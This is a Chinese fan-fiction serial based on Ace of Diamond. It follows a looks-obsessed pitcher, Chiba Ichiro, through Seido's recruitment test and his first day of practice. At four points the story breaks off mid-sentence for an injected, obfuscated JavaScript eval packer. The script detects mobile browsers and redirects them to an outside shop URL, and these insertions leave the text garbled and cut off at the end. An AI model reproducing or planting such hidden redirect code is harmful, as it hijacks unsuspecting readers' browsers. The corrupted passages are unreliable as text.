《[钻石王牌]打棒球果然不能只看脸》 1. 千叶一郎 “我们确定一位棒球选手的位置,通常是通过体型、力量、速度、灵活性等等天生身体条件来筛选的。 打个比方,比如一郎你,你做打者的天分也就一般般,完全比不上做投手,所以你的教练把你放到了投手丘,不停地调整你,让你练习投球姿势,做保护肩膀的拉伸训练,而不是让你在二三垒间的游击位自由地接球奔跑。 但,天赋并不是我们选择选手的标准。意志力、棒球智商、反复磨练的基本技能、最重要的得分能力、防守能力……那些才是令我们做出选择的参数。 所以你是更愿意做一位投手,还是一名打者呢?” 日光照耀在本垒板上。 此刻他的脚距离那块白色的五边形大约18.44米,60英尺6英寸,他的身后是空荡荡的一二三垒垒包和正严阵以待的、他并不熟悉的守备。 “忽——” 白色小球划过空气,宛如一颗流星直直地准确地砸进捕手手套,发出清脆的响声。 “嘭——” “嘭——” “嘭——” “StrikeOut!攻守交换。”本垒板后方的教练拉弓示意打者出局。 “可恶!”打者瞪了眼投手丘上的少年,不甘心地拎着球棒走下场。 本垒板后当裁判的教练叫住正要往投手丘下走的少年说道:“千叶,下局换投,今天就到这儿,下去好好做收操。” “是。”他回应道。 钻石球场外,两个路人意犹未尽地收回投向投手丘的视线,原本站在那个位置的投手已经跟在捕手后面离开,现在一年级的队员正在整理场地。 “现在的孩子真是不得了啊,国中就有那样的球速。没有145也差不多了吧。” “是啊,可惜国三才从美国回到日本,否则我们的少棒今年应该不止那点成绩。” “他要去哪个高中定下了吗?” “他家长似乎是比较希望他去市大三高,但这孩子很有自己的主意……” 这是千叶一郎回到日本后的唯一一场比赛,也是他国中生涯的最后一场,一个普普通通的少棒里练习赛,作为快要退部的前辈,上场投两局球给后辈们打,以期待后辈有更好的成绩。 再然后他的国中的棒球生涯就结束了。 窗外的樱花如雨一般扑簌簌落下,随风飘进半敞开的窗户,落到他的桌子上。 千叶一郎正要起身关窗,忽然听到了门口有人在叫他的名字。 “欸,一郎。”他们棒球队的捕手乾宪刚同学,正站在他班门口向他招手,那张严肃而崎岖的脸吓跑了不少路过的女生。 “……”千叶不动声色整理了一下自己同样受惊的小心脏走过去,“乾同学,有什么事吗?” 乾居高临下地看着他:“你要去哪个学校?” “唔,市大三?稻实?或者青道?还没想好呢。”千叶想了想他老爸给他看过的西东京的棒球豪强队伍招生宣传册,名字应该没记错。 “不考虑东东京的学校吗?” “呃,我家在西东京那边,国中就算了,只需要呆大半年,高中实在不想再跑来跑去了。” 乾同学的表情依旧严肃,加上他扎在脑后的头发,越发像混迹街头的帮派成员,千叶深入思考了一下他之前有没有得罪这位同期,发现毫无印象。 所以他问我高中去哪是做什么?我好像跟他不熟吧。应该不是上门约架吧?就算真有矛盾也不会有人傻到直接到别人教室门口约架吧? “一郎。”乾忽然开口打断了千叶碎碎念念的思绪。 “嗯?怎么了?” “我接受了帝东的邀请,以后我们就是对手了,甲子园上再见吧。” “欸?“千叶一愣,迟钝地点点回复道,“哦,好的。” 乾对他微笑了一下,随后转身离开。 啊,这人笑起来真可怕。而且他也没比我高多少,怎么压迫感这么强烈。千叶想。 他是去年夏天才转学到日本的。因为距离升学只有两个学期,时间太晚了,他又想加入有少棒的队伍打棒球,所以转学费了好大力气。他爸妈好不容易才找到了一个愿意让他加入少棒的学校,只不过需要他从西东京跑到东东京来上学。 没关系,他可以接受。只不过他之前在美国打棒球一直用硬式棒球投球,转学到日本,忽然被要求换成软式棒球投球,让他很不习惯,因此好不容易进了少棒队也没上场打过几次比赛。 他大多数时候还是作为替补、拉拉队,呆在队里的替补席、观赛区。而且因为他入队时间太晚,很多三年级都要退部了他才入队,所以他在里面格外格格不入,说是前辈吧,他入队时间比一年级还晚,说是后辈吧,他年纪还比一二年级都大。这就让人很尴尬。结果就是一二三年级没一个人跟他熟悉。 跟他说话说的最多的大概就是乾宪刚了吧,队里他也只记得他一个人的名字。因为乾宪刚是捕手,而他是投手,他偶尔会主动帮他接球,仅此而已。 所以乾还想跟我一个学校吗?千叶被自己的想法吓得一哆嗦。 还是算了吧,虽然乾人挺好,作为捕手技术也不错,但他是个颜控,高中三年他还是希望有个超级帅的捕手给他接捕啊。 —— “……臭小子你说什么?你把你刚说的再说一遍。” “我说,青道的正捕长得比市大三那个帅,我要去青道。”千叶面无表情地提高声音在他老爸耳边重复道。 窗外的小鸟叽叽喳喳地叫,窗户里面他的老爸从沙发上一个翻身坐起来,不可置信地瞪着他。 他的老爸,佐佐木智夫,前MLB的职业野手,是市大三高毕业的。 或许是他老爸是市大三高监督得意门生的缘故,从他记事起他老爸跟那个监督的联系就没断过。 他小时候跟在老爸后面跟那个爱说英语的监督见过一面,被他摸着脑袋boyboy地叫过。回国之后也跟着老爸拜访过他。那个监督一点没变,还是很爱英语夹着日本话。 他老爸看起来是很想成就一段“让教过我的监督再教我儿子”的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926192|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佳话的,所以在听到他想去青道的此刻,他在他老爸的脸上不出预料地看到了一副“我是不是耳朵有毛病所以听到了鬼话”的表情。 “你以为你在选老婆吗?还要看人捕手长相怎么样? 你一个国中投手还没上过高中投手丘呢!什么时候轮到你对人正八经甲子园豪强的正捕挑三拣四了? 你小子以为跟你打球的假面骑士还是杰尼斯男明星啊?人家做捕手靠的是技术!技术!又不是靠脸!你这个以貌取人的臭毛病我非得给你改了! 气死我了气死我了气死我了!”老爸怒不可遏,气得出口成章,也不知道是愿望在他这儿达成不了的恼羞成怒,还是真的是因为他以貌取捕手才那么生气。 千叶振振有词:“这可是接下来一两年都要跟我朝夕相处的人。如果太难看了我会很难过心情会很差的! 棒球场的九个人中,捕手是跟投手关系最紧密的,一起训练的时间也最长,搭档长得赏心悦目,对我这个投手来说是一种鼓励啊。我都没挑守备的其他队友的颜值,我比起以前都是进步了好吧。” 千叶觉得以貌取人是个小毛病。 他从小以貌取人到大,幼儿园要跟班里长得最漂亮的小女孩牵手玩游戏,小学不打网球去学棒球因为棒球俱乐部教练长得特别帅,他以为他老爸应该都习惯了,但目前看来还是没有。 他自以为并不是特别任性的投手,如果强校的捕手长得都比较靠实力,实在没有条件,他也不会那么挑三拣四,现在这不是有这个条件嘛! 青道这个泷川·克里斯·优,颜值高得十分突出,明显比其他学校的捕手好看一大截,而且还是二年级,不出意外的话,他需要跟他搭档两年。有机会有这么帅气的搭档,干嘛还要委屈自己选其他人。 “你净会说些歪理!”老爸还是很生气,一边斥责他一边拿出手机,“我要给你妈打电话,告诉她你都说了些什么屁话!” 千叶无语:“你能不能别一言不合就跟你老婆告我的状。” 因为他的老爸在他这里是个没有威严的老爸,所以教育孩子这种事情,老爸都交给自己老婆。 “我治不了你就找个能治你的!”老爸恶狠狠摁下摁键,打了电话给他老婆,然后一通哭诉,又把电话怼给他。 虽然老爸是不靠谱的老爸,但妈妈却是有威严的妈妈。 千叶乖乖接过电话,妈妈温柔的声音从电话另一头传来,果不其然,她跟老爸沆瀣一气,絮絮叨叨说一通,总结下来就一个意思:一郎,不能以貌取人,这样不好。 “好,我知道了。”千叶叹气。他早就认清了现实,妈妈比起儿子还是更爱她不靠谱的丈夫一点,在教训孩子这件事上,他们俩是同一战壕的战友。 或许是察觉到了他心情低落,妈妈安慰道:“不过也没关系,在妈妈看来这其实是很小的事情,如果一郎想要去青道,那就去吧,跟朋友们好好相处、打棒球打得开心就可以了。” 这是当然的,如果蹲在他正面的捕手长得好看,他当然投球会投得很开心了。 2. 特招测试 不管老爸老妈是什么想法,在那个草长莺飞阳光灿烂的日子里,千叶如愿参加了青道的特招生考核。 青道棒球特招生分为两种。一种是在国中没毕业的时候就有队内球探联系的明星选手,他们大多在全国中学校软式野球大会上有过出色表现,然后被人发掘,享受学费减免成绩降分的录取优惠;另一种则是面向一些会打棒球并且打得还算不错,但没有球探联系的普通学生,需要提前准备材料,报名参加青道的特招专项测试,合格后可以以稍低的偏差值标准入学。 简而言之,他想进青道打棒球还是蛮困难的。第一种特招跟他这个连正式比赛都没参加过的人没关系,第二种特招,比起一会儿要测试的内容,他还是更担心他的考试成绩。 他在美国国中成绩没有那么差,但那边跟这边学的东西不一样,即使他在努力准备过,回来学习进度依旧跟不上,想要达到青道偏差值着实有点费劲。 如果不能走特招,他大概根本没机会来青道打棒球吧。当然,能走特招他那点分数也有点危险,得拿出真本事好好表现才能有学上、有机会让帅气的捕手的接捕。 果然,想要对别人挑三拣四,自己首先得有那个实力,不管是学习,还是打棒球。——千叶总结。 到了大门口,门卫大爷给他指了球场的方向,他拿着特招通知后面附录的地图,一路按图索骥往青道的钻石球场走去。 作为西东京棒球豪门,青道的基础设施还算可以,棒球场也有两个,虽然比不上他在美国那个财大气粗的少棒队,但不耽误他支棱起来,兴致勃勃地左顾右盼。 今天是假期,他路过b球场时还是能看到里面有队员正在练习打击,甚至场地的围栏网外还有几个连训练都来看的ob。 总之,不愧是豪强,没有人偷懒,棒球氛围很浓厚。 千叶找到了通知上的a球场,那里已经有人在等候特招测试了。 千叶眼睛在人堆里扫了一圈,稍微有点失望。 青道今年没有帅得很突出的伙伴啊…… 嘛,做人也不能太过挑三拣四,帅哥美女是稀有的,大家也没有长得歪瓜裂枣,他应该知足。就算真的入部发现队友都长得不好看,那也不妨碍打棒球,就像他老爸说的那样,毕竟打棒球不看脸,上场看的是实力够不够。退一万步讲,他站在投手丘上也看不到背后守备长什么样,挑一挑捕手就可以了,队友实力强大守备出色才足够安心,比脸重要多了! 没错,就是这样。 千叶默默安慰好自己,准确从人堆里捕捉到那个张的最周正的小同学,走过去搭话。 “同学,你是来参加特招测试的吗?”千叶努力露出一个和煦无害的微笑。 一句废话。这个时候到这个地方的青少年,不是来参加特招测试还能来干嘛。 天知道他已经多久没主动跟人搭讪了,技能都差不多忘光了。 “欸?”眼睛大大脸圆圆长得像松鼠的同学被他突然搭话吓了一跳,好在他没太过在意他生硬的搭话技巧,只是有点不好意思地点点头回应道,“……嗯,你也是要测试的嘛?” “对,我叫千叶一郎,守备位置投手。” 松鼠同学眼睛瞪得更大了,很开心的样子:“我叫川上宪史,也是投手!” “欸,我们好有缘分啊。”千叶演技自然地惊讶。 果然,长得但凡像模像样一点,注定没法在他身后做靠谱的守备,他就没有这个命。 “那入学以后请多多指教了,川上同学!”千叶微笑。 “啊……那个,其实现在说有点太早了啦……我不一定能被选上吧,我的投球……”川上声音忽然低下去。 嗯,现在测试都没过,说入不入学什么的确实有点太早了,显得他十分自大,但他千叶就看不上长得周正的人在他面前一副畏畏缩缩的样子,一不自信连颜值都跟着下降。 虽然川上同学长得一般,但他是这个矮子堆里他好不容易找到的高个儿了,现在要是也萎了,那这矮子堆里就真的是纯矮子了!真的会让他很难受啊! 于是千叶一巴掌拍到川上屁股上,成功看到川上整个人都僵硬住,从脖子根脸红到脑袋顶。 “千千、千叶同学!你……”川上被他的动作吓得声音颤抖结结巴巴。 千叶自然地把刚刚拍他屁股的手搭在他肩膀上,相当淡定有气势地鼓励道:“还没开始投球呢!别说这种丧气话川上同学!等真的投的一塌糊涂再哭得一把鼻涕一把泪吧!” 川上:“……”他站在原地一时不知道该怎么办。人,怎么可以,怎么能外向成这个样子…… 千叶对于自己这一巴掌效果相当满意,看,这下完全不紧张了。 经理适时的出现拯救了石化惊恐并想着跑路的川上。 清秀靓丽的女孩穿着青道的白衬衫灰红格裙,出现在三三两两等候测试的队员面前,声音清亮地宣读着每个人的名字,让他们排队进行测试。 千叶的心情此时才真正好了起来。青道不愧是有钱的私立学校,女生的质量真没让人失望! —— 测试,是很无聊的。 尤其是在他想要偷懒,眼下的情景还需要他强迫自己打起精神好好发挥的时候。 侧前方站着三个人。 一个严肃犹如黑/道大哥、戴着墨镜看不全长相的监督站在正中间,他的一边有个不怎么年轻、长得一般,但看起来很好说话的部长,另一边是一个身材特别好戴着眼镜的美女老师。 他们三个人一起盯着自己,最边上那个漂亮学姐拿着测速枪。 投手测试果然还是那老几样。投掷距离、控球、体力。 换个意思就是看你,球投得多远、投得多准、投球的持久度如何。 完全没有新意。 但选投手也不需要有新意吧。千叶想。 现在正在室内训练馆进行投手控球测试。 刚刚他已经进行过投掷能力测试了,为了自己那可怜的成绩,千叶拿出了吃奶的劲,把球投得远远的,果然效果不错,虽然他不知道120米这个数值在对比其他人如何,但看教练们这么严阵以待(?也不知道是不是他的错觉),自己的成绩大概不错吧。 一估计自己应该在这批队员里算得上上乘,千叶心里那股积极向上的劲就散了,劲头一散,他就想偷懒。 但是旁边又有那么多人盯着…… 啊,还是不能偷懒。被抓到留下坏的印象再不要他就不好了。 千叶瞳孔不动声色地转向旁边站着的几人,然后在监督看过来之前又迅速地收回眼神,看向他前方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926193|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的捕手。 相貌憨厚、平平无奇的捕手学长在他面前可靠地张开手套,示意他放心投过来。 你还想上学呢,不要挑捕手的长相!千叶暗暗告诫自己,拿起旁边的镁粉包沾沾手指。 “控球怎么样?”黑/道监督开口问。 千叶想想川上的样子,或许这里的人都比较内敛? 千叶觉得自己也应该谦虚谨慎一点,于是回答道:“还可以。” “能投到九宫格吗?” “可以的。” “那试试看吧。”黑/道监督说罢,对捕手点点头示意开始。 “先来一个红中。” 千叶点点头,扔下镁粉包,手指把熟练地把小球转到四缝线的位置,然后抛出去。 “咻——” “嘭!” “很好!投得很准,再来一个外角,投到这里。” “咻——” “嘭!” “很好!” 球与捕手手套碰撞发出清晰而响亮的响声,千叶慢慢进入状态,专心将球投到捕手手套里,不再关注面前捕手长什么样,也不再注意旁边的教练们。 “145km/h,”太田部长看着从经理手里接过的测速枪惊讶道,“这样的球速还很有控球,身高182.9cm,体格也很棒。这样的选手为什么在国中阶段没有一点名气。” 他转头看向旁边的经理,要过了报名成员的登记册,翻到千叶一郎那一页:“让我看看……啊,是东东京那边少棒队的选手……欸?他国中的数据呢?怎么没有?” 太田部长将属于千叶一郎那页记录翻来翻去。 高岛礼推了推眼镜:“这位千叶同学在国中时期是没有数据的,他在国中阶段没有参加过正式比赛。” “啊?为什么?按理说这样的选手在国中阶段完全是利器啊。没有国中数据,我们的特招生报名都不会通过……”太田部长惋惜道,“有什么原因吗?是高岛老师拍板给他特招测试名额的吧?” “是的,”高岛礼镜片一闪,“招生时东东京的少棒队我也有联系,我们看好的选手比较倾向留在本地的帝东高校,但千叶同学少棒队的教练特别向我推荐了千叶同学。他说千叶同学情况特殊,国三才从美国回到日本,因此在国内没有正式比赛的记录,他本人很有意愿入学青道,希望我们能给千叶同学一个参加特招测试的机会。” “原来如此。”太田惊喜道,“我们一直以来都缺少统治力投手,今年有这样一位选手,还有同样很有控球川上选手加入,我们球队的投手丘终于充实起来了。” “千叶,还能再投快一点吗?”站在中间沉默听完他们对话的片冈监督开口道。 千叶已经投完了内外角高低位点位的球,听到黑/道教练的话眨眨眼,有点犹豫。 “可以的,但应该快不了多少,而且没有控球,最多能投到红中。” “那就投红中,尽力投出来。” “好。” 千叶转过头深吸一口气,举起投球的手。 其实他不喜欢这么没有控制的球啊,总觉得相当没有美感。但…… “咻——” “嘭——” “147km/h!” 非要他投,他还是能投出来的。 3. 自我介绍 招生测试之后的日子过得很快。 千叶果然顺利地拿到了招生名额,这让他老爸叹气了一段时间。 千叶没觉得对不起他老爸,倒是觉得有点对不起那个boyboy叫他的市大三高的监督。因为今年新年他让他的某个得意门生没脸上门给他拜年了。 不过这些都不是什么大事。 真正的大事是考试。 一连上了一个多周的辅导班,千叶终于、终于压线过了青道的分数线。 可喜可贺。从小到大他还没这么紧张过,在看到成绩的时候他简直要热泪盈眶了。 “没想到一郎你还会因为成绩担心。” 乾约他出来玩,打听他去了哪个学校、听他说他差点因为成绩不好去不了青道的时候“整个人震惊得像被雷劈了一样”(他自己说的)。 “……乾,你是不是对我抱有什么不合实际的期望。” “是吗?可能因为千叶你长得很像成绩好的那种人,我一直以为你不会为成绩担心。”乾如此道。 千叶:“……” 谢谢,这是他最讨厌听到的夸奖了。 长得货不对板还真是抱歉。 —— 跟千叶想象中开学提交入部申请,再愉快地参加社团活动,最后跟帅气的捕手一起训练打比赛不同。 春假期间青道就需要入部训练了。 这对千叶来说简直就是晴天霹雳,用乾的话讲,就是“听到的这个消息那一刻仿佛被雷劈中了头顶”。 虽然他很想让帅气的捕手给他接捕,但不代表他想在放假的时候入部。 放假是什么意思?放假就是不用上学。 而现在,“春假期间需要入部训练”这个消息,意味着他在放假的日子还要上学。 多么可怕,多么残忍。 “放假”,这么美丽的词汇居然要跟“上学”这么丑陋的东西连在一起。这比美女配野兽还令人窒息,比普赛克爱上大猩猩还恐怖。 千叶从来没想过在他身上会发生这么恐怖的事件,然而,一山更比一山高,这居然还不算什么,世界上还有更可怕的事—— “千叶同学,我看你没有申请宿舍,所以提醒你一下,明天早上五点半前要到b棒球场集合,入队第一天要做自我介绍,一定一定记得不能迟到,片冈监督可是很严格的。”在入队的前一天,棒球部那个身材好戴眼镜的美女,高岛老师特意打电话过来如此提醒他。 五点半。集合。不能迟到。 听到这三个词,配合眼前浮现出片冈监督那黑/道大佬的脸,千叶只觉天塌地陷、海啸山崩。 苍天啊,大地。 为什么会这样。在交学杂费的时候怎么没有人提醒他啊! 啊,不对,好像有人提醒过。 千叶脑海中闪过在他勾选是否住宿时,太田部长看到他的报道单,问了他好几次家住的远不远,要不要住宿的画面。 他当时在想什么? 家里距离学校骑二十多分钟自行车应该不算远吧。如果跟队友一大帮人住宿舍的话会很挤吧。其他人要是在学校加练,他不练会很不合群吧。洗澡的时候大家共用一池子水他有点洁癖受不了啦。万一舍友长得不好看歪瓜裂枣的还要日日相对,他会很难过的!尤其是要是队里平均颜值太低的话还需要从早相处到晚,每天一开门都是不一样的冲击,他一整天的好心情都会消失的!二十多分钟而已,谁都不能侵占他的私人空间! “部长,我家离得不远,我还是想走读!”他记得自己当时坚定道。 “啊,既然这样,那好吧。”太田部长有点为难,但也没说什么。 ……所以太田部长您当时怎么没有坚持说服我一下啊太田部长!那样的话我明天早上就不用四点半起床洗漱骑二十多分钟自行车去上学了…… “高岛老师,我现在申请住宿还来得及吗。”千叶迎风流泪作挽留状。 “欸?可以倒是可以,棒球部宿舍是有空余的,但你今天肯定不能搬进去了,安排宿舍加通知你的舍友,最快也要明天下午,这样也可以吗?” “啊……这样吗……我不知道……明天的我,真的不会有问题嘛……” 高岛老师时听到千叶气若游丝的声音忍不住笑了笑:“好了好了,不要太担心了,只有第一天会早一点,平常早训都是6点开始,但国中青少棒的训练强度跟高中棒球比有一些差距哦,做好心理准备。关于住宿嘛,我还是建议千叶同学住在学校,我记得你家离学校有一定距离,通勤不太方便吧?住宿舍的话,集体训练和上课都比较容易适应。当然,如果千叶同学坚持走读的话,也不是不可以,球队二年级的结成同学也是走读生,你可以跟他取取经验。” 啊,高岛老师真是人美心善。千叶感动地想。 这么想想也是,他大概低估了目标是甲子园的高中棒球队的训练强度。六点的早训……一般六点还没到他起床的时间。 既然有晨训的话,那每天晚上也会训练到很晚才能走吧。然后路上他又要骑自行车。先不说安不安全的问题,就是身上运动后堆积的乳酸都会把他折磨死。 至于二年级的结成学长……嗯,不认识,不知道长什么样。 “那我还是住宿舍吧,高岛老师,麻烦您了。”千叶觉得比起每天半死不活地在路上煎熬,舍友同伴长相洁癖什么的小毛病,他都是能够克服一下的。 “没关系的千叶同学,宿舍的事情我跟你家长联系,你好好休息,准备明天的训练吧。” “是!” 大概就是这样。 虽然他昨晚已经特意提前上床,也定了好几个闹钟,但今天早上还是差点没起得来,他出门的时候老爸老妈还没醒,天是黑漆漆的,路上的路灯也都还亮着。 他好不容易睡眼朦胧地骑着自行车,游魂一般骑到了学校,赶上了集合,浓浓的晨雾之中太阳还没有升起来,操场上就已经有好多人在等着了。 千叶费劲地睁大困倦的眼睛看看戴在右手手腕上的运动手表,还好,他没迟到。 确定了自己不会在入部第一天因迟到被杀后,千叶站在人群最旁边,准备在监督没来的时候小寐一会儿。他刚安详地闭上眼睛,身边窸窸窣窣的说话声忽然一下消失了,取而代之的是略显急切的脚步,在他旁边沙沙哒哒。 千叶睁开眼,刚好看到黑/道监督带着二三年级过来集合,身后的队友们已经抓紧时间站好,只留他一个没跟上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926194|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队形的,跟监督直直打了个照面。 千叶:“……” 监督墨镜后的眼神飞刀一般砸过来,千叶浑身到脚的毛炸了个遍,一个激灵吓得困倦顿时消失得无影无踪,赶忙跑到队尾站好。 “早安!”周围的人一齐大声跟监督和前辈问好。 响亮而充满朝气的声音震得千叶的睡意跟雾气一同散去,面前站的是二三年级的前辈们。 人群正中间高大的黑/道监督视线缓缓扫过在场的每一个一年级,然后说道:“我是总教练片冈。” 啊,知道黑/道监督的名字了。前辈们之中除了他的捕手,还有没有格外帅气的呢? 被前面的人挡着,千叶看不全人脸,又不敢随便乱晃,担心被人发现被拎出来。 “新队员都到齐了吗?”监督问。 “是!”大家齐声大声喊道。 “现在轮流自我介绍。从左边开始。” “是!” “我是来自世谷中学的……” 片冈监督不是那种长篇大论的老头子,说完自己的名字就单刀直入地进行新社团组建逃不开的自我介绍环节。 但才刚听了几个人的自我介绍,千叶就犯困了。 千叶觉得这不能怪他。 他真的已经很努力地让自己打起精神了,奈何今年他们这批一年级有三十多个人,一共站成三排,从左往右、从前往后自我介绍,他是最后一排倒数第一个,每个人只要介绍那么三四十秒,轮到他这里也得十几分钟以后了,偏偏每个人介绍的内容还差不多,都是“我叫什么、来自哪哪、想要备守哪个位置、目标是什么”……啊,也不是没有比较特别的——特别地长篇大论。 “我是来自千叶县的仓持洋一,守备位置是游击手。我是因为憧憬松井稼头央选手所以开始打棒球,打了以后发现很有意思就爱上打棒球了,下定决心高中也要继续下去,但是国中的时候跟人发生冲突所以被当地特招的高中拒收了,差点没有机会上学,是高岛老师找到了我,给了我来青道打棒球的机会……” 千叶困得忍不住打哈欠。 自我介绍有必要像介绍猴子怎么进化成人类那样,从史前巨蛋时期开始讲吗?这能怪他想睡觉吗?完全不能。 其实如果能看到帅哥美女他应该不会这么困,但他站在最后面只能看到周围人的后脑勺。 前面那个看不到脸的队友还在介绍自己喜欢的游戏和哪个明星,直到监督也忍不住了,出声打断他,让他赶快结束,叫下一人发言。 “下一位!” “下一位!” ……就这样不知道多少个“下一位”之后,“下一位!”随着监督的这一句,众人的目光集中到最后那个一年级脸上。 千叶忽然心有所感地抬起困倦的眼皮,在初生的太阳下,在众人的目光下,大脑忽然一片空白,像刚刚从休眠状态启动的机器,下意识运转程序,肌肉领先大脑启动开始自我介绍: “我叫千叶一郎,”他听到了自己的声音, “守备位置是投手,”没有出现错误。 “我来自——”等等。 不好!千叶突然如梦初醒。他不记得他国中的青少棒叫什么名字了! 4. 泡汤的第一天 既然跟我一起打棒球的不是杰尼斯男明星,为什么还要像拍戏一样跟他们对台词? 千叶忽然这样想。 他觉得这是一个值得思考的问题。尤其是现在的他还面临着忘词的窘境。 作为一个合格的演员,遇到这种情况有两种解决方案—— 第一种,属于很会临场发挥的老演员,遇到这种情况,他会不动声色换句台词,剧情合情合理,还不会不惹导演生气;另一种,属于说出去的错台词已经覆水难收的新人,遇到这种情况,他只能稍微卡顿后,当自己是舌头打结含混过去。 “来自——呃,我国中在东东京就读,因为很希望在青道打棒球,所以来到这里。完毕!” 是的,他千叶一郎的确是一个反应很快的人,但他不是老演员,只是一个第一天刚入部的新人,没加载过即兴表演的能力,所以他只能选第二种方案,顿一下,然后换句词,继续完成自己干巴巴的自我介绍。 台词说完了,千叶一郎憋住一口气,等待周围的导演们给他的表演打分。 周围的队友没在意他的小差错,评价似乎还可以,虽然转折很僵硬,但好在不怎么突兀,也不只有他一人介绍的时候没有说自己是来自哪个学校的,所以在他说完后,他们就把头转了回去,让他入目所及又是一堆后脑勺,这是一个好现象。 片冈监督也没对他的自我介绍做什么评价。他只是多看了他两眼(?是他自作多情了吗?),又把头转回去面向全体一年级,说了几句类似于让大家目标朝着甲子园看齐的话后,就宣布晨练开始。 千叶见状才松了那口气,还好还好,没有发生太尴尬的事。他还要在这个队伍呆三年,还想要帅气的捕手给他接捕,要是第一天就出岔子被教训,肯定会被当成刺头或者笨蛋吧。 虽然这两个词比“丑八怪”好上那么一点,但是带在头上也很难让人接受啊!这么可怕的事情还是不要了。 千叶赶紧打起精神不再走神,跟上前面动起来的队伍。 所谓的晨练,一年级唯一的任务就是跑步,像转轮的仓鼠一样,围着棒球场绕圈一直跑,跑到七点半再去球场旁边棒球部专用的餐厅吃饭。 清晨的鸟儿们飞过操场上一年级的头顶,发出欢快的啾啾声,这叫早起的鸟儿有虫吃。千叶也起得很早,但他却没饭吃,一点也不快乐,还得跑步。 千叶特别讨厌跑步,奈何从小被逼跑到大,养成了习惯,现在居然相当适应,一圈两圈跑下来就跑到了一年级队伍前面,赶上了二年级的末尾。 余光瞥见旁边的人圆乎乎的侧脸,千叶觉得有点眼熟,往旁边一看,是招生测试时遇到的川上同学,他正目视前方努力地往前跑。 川上同学累的直喘气,呼吸相当不均匀,他在他旁边都能听到他沉重的呼吸声。 “如果很累的话,呼呼,就不要一直跟着别人的节奏跑了,呼呼,不然绝对坚持不到七点半,呼呼。”千叶一边调整呼吸一边很有同伴情谊地提醒川上。 一心沉浸在要跟上大部队中的川上,突然听到了一道意想不到的声音,这道声音居然还在跟他搭话,川上猛地一扭头,视野里出现了那道声音的主人,跟他隔了不到一米距离,是拍他屁股的千叶一郎。 川上:“……” 川上一口气没喘上来,爆发出惊天动地的咳嗽,立刻被奔跑的退伍落到后面去了。 千叶:“……” 千叶默默加快脚步往前跑几步。 虽然觉得有点碰瓷的嫌疑,但真是抱歉,川上同学。千叶不走心地想。 一圈又一圈。 二三年级在跑过一会儿后被要求做其他训练,只有一年级还在跑。 饶是千叶能跑,跑了一个多小时也跑不动了,最后近乎挪动地往前迈步。他不敢停下,因为周围的队友没有停,长得像黑涩会的监督站在不远处的牛棚看着他们。 “今天就到这里。下训!” 听到片冈监督宣布晨练结束,拉伸完毕的大家半死不活扯着嗓子拼命大声地回应一句“是!”。 终于到了能吃饭的时间了。 饥肠辘辘的千叶拖着沉重的身躯,刚想跟着大部队往食堂走,就听到了片冈监督叫他。 “千叶,你等一下。” 千叶不明所以,用手抹了下脸上的汗,规规矩矩从大部队里把自己挪出来,挪到片冈监督面前:“监督,有什么事吗?” “刚刚你的自我介绍,有一段话没有说完,原本是想说什么?” 片冈监督跟千叶对视,盯得他直冒冷汗。他刚一听片冈监督的话就心虚了一下,可他不知道自己为什么要心虚。 可能是因为片冈监督的脸太严肃太可怕了? “……是想讲我来自哪个少棒队。”千叶低下头道。 “那为什么没有说?” 千叶老老实实:“因为我不记得我少棒队叫什么名字了。” 监督语气不变:“教练和队友呢?也不记得了?” 千叶被监督这么一问忽然有点窘迫,明明监督说的只是一个普通的问句,可莫名其妙的,他就觉得监督是在嘲讽他。 千叶臊眉耷眼:“队友,我们队的捕手叫乾宪刚,教练……教练也不记得了。” 啊,这么一想还真是不应该,他居然真的该死的一点都不记得了。说出来就更叫人尴尬了…… 啊,好像也没什么尴尬的,他只是没记住青少棒的名字,也没记住当时的监督的名字而已,他刚入队就要退队了,没必要记那么多吧。 啊,不对,他好像不是不记得当时的监督叫什么,是根本不知道他叫什么,所有人都叫他“教练”或者“监督”,他半路入队就没听过他的名字,所以他也没问…… “你能诚实地告诉我原因,我很高兴,但你不记得培养的少棒队和你的教练队友,这是一种不尊重。训练你先不要参加了,去跑步吧,等你想清楚我的话是什么意思再来找我。”监督这么对他说。 千叶抬起头,有些惊讶又有点茫然地看向监督,监督也平静地看着他。 啊,他被惩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 